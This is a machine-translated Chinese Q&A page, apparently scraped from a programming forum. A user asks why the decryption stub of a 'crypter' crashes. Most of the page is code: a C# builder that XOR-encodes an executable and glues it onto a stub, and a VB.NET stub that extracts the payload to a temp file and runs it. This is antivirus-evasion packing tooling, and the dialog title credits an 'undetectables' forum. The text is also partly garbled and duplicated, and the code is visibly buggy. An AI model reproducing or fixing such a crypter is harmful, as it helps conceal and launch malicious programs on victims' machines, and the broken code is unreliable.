C# 内存分配错误,无法加载命令,系统已暂停
我试图做一个小程序,加密和解密后我的文件。但每次我解密我的文件时,都会显示相同的错误,内存分配错误。问题是,我想这是当我转换为字符串我的文件,但不确定。 加密文件:C# 内存分配错误,无法加载命令,系统已暂停,c#,vb.net,C#,Vb.net,我试图做一个小程序,加密和解密后我的文件。但每次我解密我的文件时,都会显示相同的错误,内存分配错误。问题是,我想这是当我转换为字符串我的文件,但不确定。 加密文件: using System; using System.Text; using System.IO; using System.Linq; using System.Windows.Forms; namespace Crypter { class Program { [STAThread]
using System;
using System.Text;
using System.IO;
using System.Linq;
using System.Windows.Forms;
namespace Crypter
{
class Program
{
[STAThread]
static void Main(string[] args)
{
OpenFileDialog FileDlg = new OpenFileDialog();
FileDlg.Filter = "(*.exe)|*.exe";
FileDlg.Title = "SimplisimoCrypter by Blau [Indetectables.net]";
FileDlg.Multiselect = false;
if (FileDlg.ShowDialog() == DialogResult.OK)
{
string InputFile = FileDlg.FileName;
if (!File.Exists(InputFile))
{
MessageBox.Show("File does not exists.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
//No Arguments -> Exit
/*if (args.Length < 2)
{
Console.WriteLine("Syntax: crypter.exe <Exe/Dll to get Encrypted> <Password> (Optional: output file name)");
Environment.Exit(0);
}*/
//String file = args[0];
String file = InputFile;
//String pass = args[1];
String pass = "1234";
String outFile = "Crypted.exe";
//If Output Name is specified -> Set it
if (args.Length == 3)
{
outFile = args[2];
}
//File doesn't exist -> Exit
if (!File.Exists(file))
{
Console.WriteLine("[!] The selected File doesn't exist!");
Environment.Exit(0);
}
//Everything seems fine -> Reading bytes
Console.WriteLine("[*] Reading Data...");
byte[] plainBytes = File.ReadAllBytes(file);
//Yep, got bytes -> Encoding
Console.WriteLine("[*] Encoding Data...");
byte[] encodedBytes = encodeBytes(plainBytes, pass);
//byte[] encodedBytes = plainBytes;
Console.WriteLine("[*] Save to Output File... ");
//Leer el stub
Console.WriteLine("[*] Reading Stub...");
byte[] Stub = File.ReadAllBytes("Stub.exe");
//byte separador
string strseperate = "BLAUMOLAMUCHO";
byte[] toBytes = Encoding.ASCII.GetBytes(strseperate);
var s = new MemoryStream();
s.Write(Stub, 0, Stub.Length);
s.Write(toBytes, 0, toBytes.Length);
s.Write(encodedBytes, 0, encodedBytes.Length);
var b3 = s.ToArray();
Stream stream = new MemoryStream(b3);
FileStream fileStream = new FileStream(@"Crypted.exe", FileMode.Create, FileAccess.Write);
for (int i = 0; i < stream.Length; i++)
fileStream.WriteByte((byte)stream.ReadByte());
Console.WriteLine("Done!");
Console.WriteLine("\n[*] File successfully encoded!");
}
}
private static byte[] encodeBytes(byte[] bytes, String pass)
{
byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] ^= XorBytes[i % XorBytes.Length];
}
return bytes;
}
}
}
问题是解密程序。当我运行它时,控制台向我显示该错误。问题出在XORR中。这条线错了 strDataOut=strDataOut+Chr(intXOrValue1或intXOrValue2) 这与encodeBytes()的功能不同,从长远来看也不相同
由于加密算法是对称的,我建议您将encodeBytes()复制到解密程序中,并使用它来解密程序 我做了你推荐的更改,更新了帖子,但现在告诉我这个错误:为什么使用编码.Unicode?这里处理的是普通字节流。你不应该在你的exe文件上使用文本过滤器,它的内容绝对不是文本。一个好主意是开始编码一个数据文件,一个纯ASCII文本文件,并删除所有赋码过滤器,这将有助于区分加密/解密例程导致的崩溃和结果文件导致的崩溃。
Imports System.Security.Cryptography
Imports System.IO
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.Reflection.Assembly
Module Program
Public Sub Main()
Dim s As String = GetExecutingAssembly.GetCallingAssembly.Location
Dim myBytes As Byte() = My.Computer.FileSystem.ReadAllBytes(s)
Dim myStrings As String = Encoding.Default.GetString(myBytes)
Dim mySplits As String() = Split(myStrings, "BLAUMOLAMUCHO")
Dim originalContents As String = mySplits(1)
Dim original As Byte() = Encoding.Default.GetBytes(originalContents)
Dim Blau As String = XORR(original,"1234")
My.Computer.FileSystem.WriteAllBytes(System.IO.Path.GetTempPath & "temp1928.exe", Encoding.Default.GetBytes(Blau), False)
Process.Start(System.IO.Path.GetTempPath & "temp1928.exe")
Console.WriteLine(s)
Console.ReadKey()
End Sub
'Funcion para deshacer el método XOR
Private Function XORR(bytes As Byte(), pass As String)
Dim XorBytes As Byte() = Encoding.Unicode.GetBytes(pass)
For i = 0 to bytes.length step 1
bytes(i) = bytes(i) Xor XorBytes(i Mod XorBytes.Length)
Next
Return bytes
End Function
End Module